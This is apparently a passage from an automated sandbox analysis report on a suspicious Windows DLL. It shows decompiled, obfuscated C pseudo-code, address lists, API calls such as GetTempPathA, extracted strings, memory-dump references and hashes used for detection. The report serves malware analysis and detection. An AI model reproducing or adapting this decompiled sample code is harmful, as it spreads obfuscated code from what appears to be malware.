					if(_t336 != ( *0x6ddd59e2 & 0x0000ffff)) {
						 *_t277 =  *_t277 + _t336;
						_t26 = _t336 + 5; // 0xda74878f
						_t245 = _t26 + _t383;
						 *0x6ddd5a90 = _t245;
						_t383 = _t383 + _t245 + 0x3b + _t336;
						_push(0);
						asm("adc edi, eax");
					}
					_t277 = _t277 - 4;
				} while (_t277 > 0x6ddd59e2);
				_push("cd Matter m");
				 *0x6ddd59d8 = _t383;
				 *0x6ddd59dc = _t362; // executed
				E6DD5179F(_t260, _t336, _t362, _t383); // executed
				_t164 = 6;
				_t422 =  *0x6ddd5a98 - _t164; // 0x6dd7e664
				if(_t422 != 0) {
					L34:
					 *0x6ddd59d8 =  *0x6ddd59d8 - 0x27 +  *0x6ddd59d0 * 0x3d;
					asm("sbb [0x6ddd59dc], ecx");
				} else {
					_t423 =  *0x6ddd5a9c; // 0x0
					if(_t423 != 0) {
						goto L34;
					} else {
						_t242 =  *0x6ddd59d8; // 0xf97d6ed4
						 *0x6ddd59d0 = _t242 + 0x11e05;
					}
				}
				_t403 = _t402 - 0x10;
				 *(_t400 - 0x34) = _t403;
				 *0x6ddd5a90 =  *0x6ddd5a90 * 0x29266b;
				_t168 = _t403;
				 *_t168 = 5;
				 *((intOrPtr*)(_t168 + 8)) = 0x5c7;
				 *((intOrPtr*)(_t168 + 0xc)) = 0;
				_push("Molecul");
				 *(_t400 - 4) = 1;
				_t169 = E6DD14197(_t260, _t336, _t362, _t383);
				 *(_t400 - 4) =  *(_t400 - 4) | 0xffffffff;
				E6DD11E10(_t169);
				_t281 = 0x27;
				_t171 = E6DD10EF6(_t281);
				_t404 = _t403 - 0x10;
				 *0x6ddd59d8 = _t171;
				_t282 = _t404;
				 *(_t400 - 0x34) = _t404;
				 *0x6ddd59dc = 0;
				 *_t282 = 0;
				 *((intOrPtr*)(_t282 + 8)) = 0;
				 *((intOrPtr*)(_t282 + 0xc)) = 0;
				E6DD15DAB(_t282, "6623");
				_push("out drop ");
				 *(_t400 - 4) = 2;
				_t174 = E6DD14197(_t260, "6623", _t362, _t383);
				 *(_t400 - 4) =  *(_t400 - 4) | 0xffffffff;
				E6DD11E10(_t174);
				_t176 =  *0x6ddd59dc; // 0x4
				 *(_t400 - 0x18) =  *0x6ddd59d8 * 0x36 +  *0x6ddd5a90;
				_t286 =  *0x6ddd5a90 * 0x10e1d;
				_t178 =  *0x6ddd59d8; // 0xf97d6ed4
				_t287 = 0x6ddd5a28;
				 *0x6ddd59d8 = _t178 * _t286;
				_t340 =  *0x6ddd5a90; // 0xaa9c83ab
				_t180 =  *0x6ddd59d0; // 0xaa9e70cb
				 *0x6ddd59dc = _t176 * _t286 + (_t178 * _t286 >> 0x20);
				_t386 =  *(_t400 - 0x18);
				_t342 = _t340 + _t386 + _t180 + 0x3b;
				do {
					if( *0x6ddd5a28 != 0x27) {
						L38:
						_t183 =  *_t287 * _t342;
						 *0x6ddd59dc = 0;
						_t342 = _t183;
						_t184 = _t183 + 0x2c;
						 *0x6ddd59d8 = _t184;
						_t427 = _t184 -  *0x6ddd5a50; // 0x4e
						if(_t427 != 0) {
							goto L40;
						} else {
							_t428 = 0 -  *0x6ddd5a54; // 0x0
							if(_t428 != 0) {
								goto L40;
							}
						}
					} else {
						_t426 =  *0x6ddd5a2c; // 0x0
						if(_t426 == 0) {
							goto L40;
						} else {
							goto L38;
						}
					}
					break;
					L40:
					_t287 =  &(_t287[2]);
				} while (_t287 < "or@std@@");
				_t185 = E6DD10D32();
				_t364 =  *0x6ddd5a90; // 0xaa9c83ab
				_t49 = _t386 + 0x11dde; // 0x11dde
				 *(_t400 - 0x1c) = _t185;
				 *(_t400 - 0x28) = _t49 + _t364;
				_t291 = _t185 * 0x10e1d;
				_t186 =  *0x6ddd59dc; // 0x4
				_t188 =  *0x6ddd59d8; // 0xf97d6ed4
				_t190 =  *0x6ddd59f2 & 0x0000ffff;
				 *(_t400 - 0x10) = _t188 * _t291;
				_t346 =  *0x6ddd59e6; // 0xc145
				 *(_t400 - 0x14) = _t186 * _t291 + (_t188 * _t291 >> 0x20);
				 *(_t400 - 0x34) = _t190;
				if((_t346 & 0x0000ffff) + _t190 != 0x32) {
					_t389 =  *(_t400 - 0x18) * 0x29266b;
					_t191 = _t389 * 0x37;
					__eflags = _t191;
					 *(_t400 - 0x1c) = _t191;
					_t294 = _t191;
					 *(_t400 - 0x20) = _t191;
				} else {
					_t294 =  *(_t400 - 0x1c);
					 *(_t400 - 0x20) = _t294;
					_t389 = _t294 -  *(_t400 - 0x18) *  *(_t400 - 0x18) * 0x10e1d + 0x27;
				}
				 *(_t400 - 0x30) = _t346 & 0x0000ffff;
				_t193 = 0x6ddd59e6;
				 *(_t400 - 0x18) = _t389;
				_t390 =  *(_t400 - 0x10);
				 *(_t400 - 0x24) = 0x6ddd59e6;
				do {
					if(_t294 ==  *(_t400 - 0x30)) {
						_t346 =  *(_t400 - 0x14);
						goto L48;
					} else {
						asm("cdq");
						_t195 = E6DD301E0( *_t193 & 0x0000ffff, _t346, _t390,  *(_t400 - 0x14));
						_t294 =  *(_t400 - 0x20);
						_t390 = _t195;
						 *(_t400 - 0x14) = _t346;
						_t364 = _t294 + 5 + _t390;
						 *0x6ddd5a90 = _t364;
						if(_t364 != ( *0x6ddd59f0 & 0x0000ffff)) {
							_t193 =  *(_t400 - 0x24);
							goto L48;
						}
					}
					break;
					L48:
					_t193 =  &(_t193[1]);
					 *(_t400 - 0x24) = _t193;
				} while (_t193 < 0x6ddd5a44);
				_t197 = 6;
				 *(_t400 - 0x10) = _t390;
				_t391 =  *(_t400 - 0x18);
				_t434 =  *0x6ddd5a98 - _t197; // 0x6dd7e664
				if(_t434 != 0) {
					L53:
					_push(0);
					_t296 =  *(_t400 - 0x10) - 0x27 +  *(_t400 - 0x28) * 0x3d;
					__eflags = _t296;
					asm("sbb edx, eax");
					_t201 =  *(_t400 - 0x28);
				} else {
					_t435 =  *0x6ddd5a9c; // 0x0
					if(_t435 != 0) {
						goto L53;
					} else {
						_t296 =  *(_t400 - 0x10);
						_t83 = _t296 + 0x11e05; // 0x11e05
						_t201 = _t83;
					}
				}
				 *(_t400 - 0x30) = _t364;
				if( *(_t400 - 0x34) > _t364) {
					_t202 =  *(_t400 - 0x30);
				} else {
					 *0x6ddd59e0 = _t201;
					_t364 = _t364 + 2 + _t201 * 0x6d;
					 *0x6ddd5a90 = _t364;
					_t202 = _t364;
				}
				 *(_t400 - 0x14) = 0x6ddd5a0e;
				_t393 =  *(_t400 - 0x1c);
				_t297 = _t296 + _t202 + _t296 + _t391 + 0x3d;
				_push(0);
				asm("adc edx, eax");
				 *0x6ddd59d8 = _t297;
				 *0x6ddd59dc = _t346;
				do {
					if(_t393 != ( *0x6ddd59e2 & 0x0000ffff)) {
						_t94 = _t393 + 5; // 0xda7369b1
						_t364 = _t94 + _t297;
						_push(0);
						 *0x6ddd5a90 = _t364;
						 *( *(_t400 - 0x14)) =  *( *(_t400 - 0x14)) + _t393;
						_t95 = _t393 + 0x3b; // 0xda7369e7
						_t297 = _t297 + _t95 + _t364;
						asm("adc edx, eax");
						 *0x6ddd59d8 = _t297;
						 *0x6ddd59dc = _t346;
					}
					_t208 =  *(_t400 - 0x14) - 4;
					 *(_t400 - 0x14) = _t208;
				} while (_t208 > 0x6ddd59e2);
				_t394 =  *(_t400 - 0x18);
				_t209 = 0x6ddd59e6;
				 *(_t400 - 0x10) = _t297;
				_t298 =  *0x6ddd59e6 & 0x0000ffff;
				 *(_t400 - 0x14) = _t346;
				do {
					_t347 = _t364;
					if(_t347 == _t298) {
						goto L65;
					} else {
						_t364 = ( *_t209 & 0x0000ffff) * _t347;
						_t347 = _t364;
						 *0x6ddd5a90 = _t364;
						if(5 + _t347 * 2 != ( *0x6ddd59f0 & 0x0000ffff)) {
							_t209 =  *(_t400 - 0x2c);
							_t298 =  *0x6ddd59e6 & 0x0000ffff;
							goto L65;
						}
					}
					break;
					L65:
					_t209 = _t209 + 2;
					 *(_t400 - 0x2c) = _t209;
				} while (_t209 < 0x6ddd5a44);
				_t105 = _t394 + 2; // 0x2
				 *0x6ddd59d0 = _t105 + _t347;
				_t213 = E6DD11029(_t394);
				_t300 =  *0x6ddd5a90; // 0xaa9c83ab
				_t106 = _t394 + 2; // 0x2
				_t369 = _t106 + _t300;
				 *0x6ddd5a00 = _t213;
				_t348 = _t300;
				if(_t300 >= _t369) {
					_t300 = _t369 * 0xffffffc3;
					 *0x6ddd59f2 =  *0x6ddd59f2 - _t300;
					_t348 = _t300;
				}
				_t107 = _t213 + 2; // 0x2
				_t371 = _t107 + _t348;
				 *0x6ddd59d0 = _t371;
				_t446 =  *0x6ddd5a04 - 0x1b47; // 0xc8
				if(_t446 != 0) {
					_t349 =  *(_t400 - 0x10);
				} else {
					_t300 = ( *0x6ddd59e6 & 0x0000ffff) + _t348;
					_push(0);
					_t349 =  *(_t400 - 0x10) + 0x3b + _t300 * 2;
					asm("adc edi, eax");
					 *0x6ddd59d8 = _t349;
					 *0x6ddd59dc =  *(_t400 - 0x14);
					_t371 =  *0x6ddd59d0; // 0xaa9e70cb
				}
				_t395 = 0x6ddd5a0e;
				do {
					if(_t300 != ( *0x6ddd59e2 & 0x0000ffff)) {
						 *_t395 =  *_t395 + _t300;
						_t229 = _t300 + _t300;
						_t114 = _t229 + 5; // 0x5
						_t371 = _t114;
						_t115 = _t229 + 0x3b; // 0x3b
						_t300 = _t115 + _t371;
					}
					_t395 = _t395 - 4;
					_t216 = _t300;
				} while (_t395 > 0x6ddd59e2);
				_t396 =  *(_t400 - 0x18);
				_t301 = 6;
				 *0x6ddd59d0 = _t371;
				_t450 =  *0x6ddd5a02 - _t301; // 0xda74
				if(_t450 != 0) {
					_t375 = _t371 + _t216 * 0xffffffc2;
					_t451 = _t375;
					 *0x6ddd59d0 = _t375;
				}
				_t117 = _t396 + 7; // 0x7
				 *0x6ddd5a90 = _t117 + _t349 * 2;
				E6DD0FB4A(_t396, _t400, _t451);
				_t350 =  *0x6ddd5a00; // 0xda74878a
				_t303 = 0x6ddd5ac8;
				_t372 =  *0x6ddd59d8; // 0xf97d6ed4
				do {
					_t452 = _t396 -  *0x6ddd5a18; // 0x4c
					if(_t452 != 0) {
						L80:
						_t120 = _t396 + 5; // 0x5
						 *0x6ddd59dc = 0;
						_t372 = _t120 + _t350;
						 *_t303 =  *_t303 + _t396;
						 *0x6ddd59d8 = _t372;
						asm("adc [ecx+0x4], eax");
						_t122 = _t396 + 0x3b; // 0x3b
						_t350 = _t122 + _t350 + _t372;
						 *0x6ddd5a00 = _t350;
					} else {
						_t453 = 0 -  *0x6ddd5a1c; // 0x0
						if(_t453 != 0) {
							goto L80;
						}
					}
					_t303 = _t303 - 0x10;
				} while (_t303 > 0x6ddd5a18);
				_t222 =  *0x6ddd59dc; // 0x4
				_t456 = 0 - _t222;
				if(_t456 >= 0 && (_t456 > 0 || _t350 >= _t372)) {
					_push(0);
					_t354 = _t350 - _t372 * 0x3d - _t396;
					 *0x6ddd5a58 =  *0x6ddd5a58 - _t396;
					asm("sbb [0x6ddd5a5c], eax");
					 *0x6ddd5a00 = _t354;
					asm("sbb ecx, [0x6ddd59dc]");
					_t372 = _t354 - _t372 + _t396;
					 *0x6ddd59d8 = _t372;
					asm("adc ecx, eax");
					 *0x6ddd59dc = 0;
				}
				_t305 =  *0x6ddd5a90; // 0xaa9c83ab
				_t306 =  *0x6ddd59d0; // 0xaa9e70cb
				 *0x6ddd59d0 = _t306 + 0x3d + _t372 + _t305 * 2;
				return E6DD30075(1);
			}

0x6dd11285
0x6dd1128c
0x6dd11291
0x6dd11297
0x6dd112a2
0x6dd112aa
0x6dd112b2
0x6dd112b8
0x6dd112ba
0x6dd112c0
0x6dd112c3
0x6dd112c5
0x6dd112c8
0x6dd112cb
0x6dd112d6
0x6dd112da
0x6dd112e0
0x6dd112ec
0x6dd112f2
0x6dd112f9
0x6dd112ff
0x6dd11302
0x6dd11308
0x6dd1130e
0x6dd11310
0x6dd11310
0x6dd1131d
0x6dd11320
0x6dd11325
0x6dd11328
0x6dd1132b
0x6dd1132e
0x00000000
0x6dd11330
0x6dd11334
0x6dd11338
0x6dd1133d
0x6dd1133f
0x6dd1134b
0x6dd1134d
0x6dd11353
0x6dd11359
0x6dd11361
0x6dd11363
0x00000000
0x6dd11363
0x6dd11361
0x00000000
0x6dd11366
0x6dd11366
0x6dd11369
0x6dd1136c
0x6dd11375
0x6dd11378
0x6dd1137e
0x6dd11390
0x6dd11397
0x6dd11397
0x6dd11399
0x6dd1139f
0x6dd113a2
0x6dd113a4
0x6dd11380
0x6dd11380
0x6dd11386
0x00000000
0x6dd11388
0x6dd11388
0x6dd11388
0x6dd11386
0x6dd113bf
0x6dd113c5
0x6dd113cb
0x6dd113d1
0x6dd113d9
0x6dd113e1
0x6dd113e6
0x6dd113eb
0x6dd113f2
0x6dd113f8
0x6dd113fb
0x6dd11401
0x6dd11403
0x00000000
0x6dd11405
0x6dd1140b
0x6dd11414
0x6dd11419
0x6dd1141b
0x6dd11421
0x6dd11424
0x6dd11426
0x6dd11432
0x6dd1143a
0x6dd1143c
0x6dd11442
0x00000000
0x6dd11442
0x6dd1143a
0x00000000
0x6dd11449
0x6dd11449
0x6dd1144c
0x6dd11463
0x6dd11468
0x6dd11473
0x6dd1147a
0x6dd11483
0x6dd11489
0x6dd1148b
0x6dd11491
0x6dd1149a
0x6dd114a3
0x6dd114a9
0x6dd114a9
0x6dd114b7
0x6dd114bc
0x6dd114bf
0x6dd114c4
0x6dd114c6
0x6dd114cb
0x6dd114d0
0x6dd114d2
0x6dd114d5
0x6dd114d8
0x6dd114df
0x6dd114e4
0x6dd114e7
0x6dd114ec
0x6dd114f2
0x6dd114f9
0x6dd114fa
0x6dd11501
0x6dd1151c
0x6dd11526
0x6dd11526
0x6dd1152c
0x6dd11503
0x6dd1150a
0x6dd11514
0x6dd11514
0x6dd11531
0x6dd11536
0x6dd1153b
0x6dd11544
0x6dd11545
0x6dd11545
0x6dd1154b
0x6dd11551
0x6dd11558
0x6dd11578
0x6dd1157e
0x6dd11586
0x6dd1158b
0x6dd1158b
0x6dd1158d
0x6dd1155a
0x6dd1155a
0x6dd11565
0x6dd11570
0x6dd11570
0x6dd11593
0x6dd11594
0x6dd11595
0x6dd115bc
0x6dd115c1
0x6dd115c7
0x6dd115cc
0x6dd115d2
0x6dd115d8
0x6dd115e1
0x6dd115e3
0x6dd115e6
0x6dd115e9
0x6dd115eb
0x6dd115f5
0x6dd115f7
0x6dd115fa
0x6dd115fa
0x6dd115fc
0x6dd115ff
0x6dd11607
0x6dd1160c
0x6dd11612
0x6dd11618
0x6dd11620
0x6dd11623
0x6dd11629
0x6dd11644
0x6dd1164e
0x6dd11654
0x6dd1162b
0x6dd1162b
0x6dd11631
0x00000000
0x6dd11633
0x6dd11633
0x6dd1163d
0x6dd1163d
0x6dd11631
0x6dd11664
0x6dd11667
0x6dd1166a
0x6dd1166f
0x6dd11671
0x6dd11674
0x6dd1167b
0x6dd1167e
0x6dd11683
0x6dd1168a
0x6dd1168f
0x6dd11695
0x6dd1169c
0x6dd1169d
0x6dd116a2
0x6dd116a5
0x6dd116aa
0x6dd116ac
0x6dd116b6
0x6dd116bb
0x6dd116bd
0x6dd116c0
0x6dd116c3
0x6dd116c8
0x6dd116cd
0x6dd116d4
0x6dd116d9
0x6dd116df
0x6dd116eb
0x6dd116f6
0x6dd116f9
0x6dd11707
0x6dd1170e
0x6dd11715
0x6dd1171a
0x6dd11720
0x6dd11725
0x6dd1172e
0x6dd11733
0x6dd11737
0x6dd1173e
0x6dd11748
0x6dd1174a
0x6dd1174d
0x6dd11753
0x6dd11755
0x6dd11758
0x6dd1175d
0x6dd11763
0x00000000
0x6dd11765
0x6dd11765
0x6dd1176b
0x00000000
0x00000000
0x6dd1176b
0x6dd11740
0x6dd11740
0x6dd11746
0x00000000
0x00000000
0x00000000
0x00000000
0x6dd11746
0x00000000
0x6dd1176d
0x6dd1176d
0x6dd11770
0x6dd1177a
0x6dd1177f
0x6dd11785
0x6dd1178d
0x6dd11790
0x6dd11793
0x6dd11799
0x6dd117a2
0x6dd117ad
0x6dd117b4
0x6dd117b7
0x6dd117c3
0x6dd117c6
0x6dd117cc
0x6dd117e9
0x6dd117f0
0x6dd117f0
0x6dd117f3
0x6dd117f6
0x6dd117f8
0x6dd117ce
0x6dd117d1
0x6dd117d9
0x6dd117e4
0x6dd117e4
0x6dd117fe
0x6dd11801
0x6dd11806
0x6dd11809
0x6dd1180c
0x6dd1180f
0x6dd11812
0x6dd11878
0x00000000
0x6dd11814
0x6dd1181b
0x6dd1181f
0x6dd11824
0x6dd11827
0x6dd11830
0x6dd11836
0x6dd11838
0x6dd11840
0x6dd11842
0x00000000
0x6dd11842
0x6dd11840
0x00000000
0x6dd11845
0x6dd11845
0x6dd11848
0x6dd1184b
0x6dd11854
0x6dd11855
0x6dd11858
0x6dd1185b
0x6dd11861
0x6dd1187d
0x6dd11884
0x6dd11889
0x6dd11889
0x6dd1188c
0x6dd1188e
0x6dd11863
0x6dd11865
0x6dd1186b
0x00000000
0x6dd1186d
0x6dd1186d
0x6dd11870
0x6dd11870
0x6dd11870
0x6dd1186b
0x6dd11891
0x6dd11897
0x6dd118b1
0x6dd11899
0x6dd11899
0x6dd118a5
0x6dd118a7
0x6dd118ad
0x6dd118ad
0x6dd118b6
0x6dd118c2
0x6dd118c5
0x6dd118c7
0x6dd118ca
0x6dd118cc
0x6dd118d2
0x6dd118d8
0x6dd118e1
0x6dd118e6
0x6dd118e9
0x6dd118eb
0x6dd118ed
0x6dd118f3
0x6dd118f6
0x6dd118fb
0x6dd118fe
0x6dd11900
0x6dd11906
0x6dd11906
0x6dd1190f
0x6dd11912
0x6dd11915
0x6dd1191c
0x6dd1191f
0x6dd11924
0x6dd11927
0x6dd1192e
0x6dd11931
0x6dd11931
0x6dd11935
0x00000000
0x6dd11937
0x6dd11941
0x6dd11944
0x6dd11946
0x6dd11955
0x6dd11957
0x6dd1195a
0x00000000
0x6dd1195a
0x6dd11955
0x00000000
0x6dd11961
0x6dd11961
0x6dd11964
0x6dd11967
0x6dd1196e
0x6dd11975
0x6dd1197a
0x6dd1197f
0x6dd11985
0x6dd11988
0x6dd1198a
0x6dd1198f
0x6dd11993
0x6dd11995
0x6dd11998
0x6dd1199f
0x6dd1199f
0x6dd119a1
0x6dd119a9
0x6dd119ab
0x6dd119b1
0x6dd119b8
0x6dd119eb
0x6dd119ba
0x6dd119c4
0x6dd119c9
0x6dd119d2
0x6dd119d5
0x6dd119d7
0x6dd119dd
0x6dd119e3
0x6dd119e3
0x6dd119ee
0x6dd119f3
0x6dd119fc
0x6dd119fe
0x6dd11a01
0x6dd11a04
0x6dd11a04
0x6dd11a07
0x6dd11a0a
0x6dd11a0a
0x6dd11a0c
0x6dd11a0f
0x6dd11a11
0x6dd11a19
0x6dd11a1e
0x6dd11a1f
0x6dd11a25
0x6dd11a2c
0x6dd11a31
0x6dd11a31
0x6dd11a33
0x6dd11a33
0x6dd11a39
0x6dd11a41
0x6dd11a46
0x6dd11a4b
0x6dd11a51
0x6dd11a56
0x6dd11a5c
0x6dd11a5e
0x6dd11a64
0x6dd11a6e
0x6dd11a6e
0x6dd11a71
0x6dd11a76
0x6dd11a78
0x6dd11a7a
0x6dd11a80
0x6dd11a86
0x6dd11a89
0x6dd11a8b
0x6dd11a66
0x6dd11a66
0x6dd11a6c
0x00000000
0x00000000
0x6dd11a6c
0x6dd11a91
0x6dd11a94
0x6dd11a9c
0x6dd11aa3
0x6dd11aa5
0x6dd11ab0
0x6dd11ab4
0x6dd11ab6
0x6dd11abd
0x6dd11ac5
0x6dd11acf
0x6dd11ad5
0x6dd11ad7
0x6dd11add
0x6dd11adf
0x6dd11adf
0x6dd11ae5
0x6dd11af0
0x6dd11afc
0x6dd11b07

APIs

__EH_prolog3.LIBCMT ref: 6DD1128C
GetSystemDirectoryA.KERNEL32 ref: 6DD113C5
GetTempPathA.KERNEL32(0000056D,C:\Users\user\AppData\Local\Temp\,?,6DD2FF71,?,00000001,?,?,00000001,?,6DDD27E0,0000000C,6DD3006E,?,00000001,?), ref: 6DD11468

Strings

out drop , xrefs: 6DD116C8
Had s, xrefs: 6DD114DF
part , xrefs: 6DD115B5
6623, xrefs: 6DD116B1
C:\Windows\system32, xrefs: 6DD113B2
C:\Users\user\AppData\Local\Temp\, xrefs: 6DD11459
6265, xrefs: 6DD114CB
Molecul, xrefs: 6DD1167E
cd Matter m, xrefs: 6DD11607
cd Island, xrefs: 6DD11531

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: DirectoryH_prolog3PathSystemTemp
String ID: 6265$6623$C:\Users\user\AppData\Local\Temp\$C:\Windows\system32$Had s$Molecul$cd Island$cd Matter m$out drop $part
API String ID: 3607090873-3292652255
Opcode ID: c4f59b7eeac69f6c4612c84a27417c984cd53222d7a4e37cde31d005a6275755
Instruction ID: 6c2ea85273c1116974e3af45f9b89c829ee5c7761d177ea6f82fe7f09f8c48cf
Opcode Fuzzy Hash: c4f59b7eeac69f6c4612c84a27417c984cd53222d7a4e37cde31d005a6275755
Instruction Fuzzy Hash: 65326871A05222CFEF18EF68D8817797BB1FB8B324B65812BE415DB785E730A941CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6DD178D3, Relevance: 3.0, APIs: 2, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E6DD178D3(void* __ebx, intOrPtr* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t11;
				intOrPtr* _t19;
				intOrPtr _t21;
				void* _t22;

				E6DD300AC(0x6dd78421, __ebx, __edi, __esi, 0);
				_t19 = __ecx;
				_push(8);
				 *__ecx = 0x6dd7aa30;
				_t21 = E6DD2F8B6(__edx, __esi, __eflags);
				if(_t21 == 0) {
					_t21 = 0;
					__eflags = 0;
				} else {
					 *(_t22 - 4) =  *(_t22 - 4) & 0x00000000;
					_push(1); // executed
					_t11 = E6DD17005(__ebx, _t19, _t21); // executed
					 *((intOrPtr*)(_t21 + 4)) = _t11;
				}
				 *((intOrPtr*)(_t19 + 0x34)) = _t21;
				E6DD17F47(_t19);
				return E6DD30075(_t19);
			}

0x6dd178da
0x6dd178df
0x6dd178e1
0x6dd178e3
0x6dd178ee
0x6dd178f3
0x6dd17906
0x6dd17906
0x6dd178f5
0x6dd178f5
0x6dd178f9
0x6dd178fb
0x6dd17901
0x6dd17901
0x6dd1790a
0x6dd1790d
0x6dd17919

APIs

__EH_prolog3.LIBCMT ref: 6DD178DA
std::locale::_Init.LIBCPMT ref: 6DD178FB

Part of subcall function 6DD17005: __EH_prolog3.LIBCMT ref: 6DD1700C
Part of subcall function 6DD17005: std::_Lockit::_Lockit.LIBCPMT ref: 6DD17017
Part of subcall function 6DD17005: std::locale::_Setgloballocale.LIBCPMT ref: 6DD17032
Part of subcall function 6DD17005: _Yarn.LIBCPMT ref: 6DD17048
Part of subcall function 6DD17005: std::_Lockit::~_Lockit.LIBCPMT ref: 6DD17088

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog3Lockitstd::_std::locale::_$InitLockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 3152668004-0
Opcode ID: 05f67bd36459f7d4b5cbe75db1170a29e157fe94c052819ec6b4b6a2ef7a737c
Instruction ID: abf51ca9c3ce273183096c38873c2d9b422c7f2bb5fba648735bd3a8e6e1986a
Opcode Fuzzy Hash: 05f67bd36459f7d4b5cbe75db1170a29e157fe94c052819ec6b4b6a2ef7a737c
Instruction Fuzzy Hash: A1E09232EAD621B7D2217BA49901B29A150AB40B28F630049B2009B291CBA0480047E1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD5C7EF, Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E6DD5C7EF(void* __ecx, signed int _a4, signed int _a8) {
				void* _t8;
				void* _t12;
				signed int _t13;
				void* _t15;
				void* _t16;
				signed int _t17;
				void* _t19;
				signed int _t20;
				long _t21;

				_t16 = __ecx;
				_t20 = _a4;
				if(_t20 == 0) {
					L2:
					_t21 = _t20 * _a8;
					if(_t21 == 0) {
						_t21 = _t21 + 1;
					}
					while(1) {
						_t8 = RtlAllocateHeap( *0x6ddd7b04, 8, _t21); // executed
						if(_t8 != 0) {
							break;
						}
						__eflags = E6DD6BEB2();
						if(__eflags == 0) {
							L8:
							 *((intOrPtr*)(E6DD52281())) = 0xc;
							__eflags = 0;
							return 0;
						}
						_t12 = E6DD59256(_t15, _t16, _t17, _t19, __eflags, _t21);
						_pop(_t16);
						__eflags = _t12;
						if(_t12 == 0) {
							goto L8;
						}
					}
					return _t8;
				}
				_t13 = 0xffffffe0;
				_t17 = _t13 % _t20;
				if(_t13 / _t20 < _a8) {
					goto L8;
				}
				goto L2;
			}

0x6dd5c7ef
0x6dd5c7f5
0x6dd5c7fa
0x6dd5c808
0x6dd5c808
0x6dd5c80e
0x6dd5c810
0x6dd5c810
0x6dd5c827
0x6dd5c830
0x6dd5c838
0x00000000
0x00000000
0x6dd5c818
0x6dd5c81a
0x6dd5c83c
0x6dd5c841
0x6dd5c847
0x00000000
0x6dd5c847
0x6dd5c81d
0x6dd5c822
0x6dd5c823
0x6dd5c825
0x00000000
0x00000000
0x6dd5c825
0x00000000
0x6dd5c827
0x6dd5c800
0x6dd5c801
0x6dd5c806
0x00000000
0x00000000
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,6DD5D6B4,00000001,00000364,?,6DD30F8B,00000002,00000000,?,?,?,6DCF1298,6DD175D9), ref: 6DD5C830

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: be9a347518b086c2b6404d999c07c8c35106dba2906e6d2d524591b2671861d7
Instruction ID: 6a531c480f14e1f57062ea4bb6e13fcb01a10f9b4090d4a995edacf70b2aa746
Opcode Fuzzy Hash: be9a347518b086c2b6404d999c07c8c35106dba2906e6d2d524591b2671861d7
Instruction Fuzzy Hash: F1F0E931544526A7FF213B6ECC04F5B3F58AF92BB0F1581A1BC14AA181CB30D82087F0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD5F26D, Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E6DD5F26D(void* __ecx, long _a4) {
				void* _t4;
				void* _t6;
				void* _t7;
				void* _t8;
				void* _t9;
				void* _t10;
				long _t11;

				_t8 = __ecx;
				_t11 = _a4;
				if(_t11 > 0xffffffe0) {
					L7:
					 *((intOrPtr*)(E6DD52281())) = 0xc;
					__eflags = 0;
					return 0;
				}
				if(_t11 == 0) {
					_t11 = _t11 + 1;
				}
				while(1) {
					_t4 = RtlAllocateHeap( *0x6ddd7b04, 0, _t11); // executed
					if(_t4 != 0) {
						break;
					}
					__eflags = E6DD6BEB2();
					if(__eflags == 0) {
						goto L7;
					}
					_t6 = E6DD59256(_t7, _t8, _t9, _t10, __eflags, _t11);
					_pop(_t8);
					__eflags = _t6;
					if(_t6 == 0) {
						goto L7;
					}
				}
				return _t4;
			}

0x6dd5f26d
0x6dd5f273
0x6dd5f279
0x6dd5f2ab
0x6dd5f2b0
0x6dd5f2b6
0x00000000
0x6dd5f2b6
0x6dd5f27d
0x6dd5f27f
0x6dd5f27f
0x6dd5f296
0x6dd5f29f
0x6dd5f2a7
0x00000000
0x00000000
0x6dd5f287
0x6dd5f289
0x00000000
0x00000000
0x6dd5f28c
0x6dd5f291
0x6dd5f292
0x6dd5f294
0x00000000
0x00000000
0x6dd5f294
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,6DD175D9,00000000,?,6DD30F8B,00000002,00000000,?,?,?,6DCF1298,6DD175D9,00000004,00000000,00000000,00000000), ref: 6DD5F29F

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
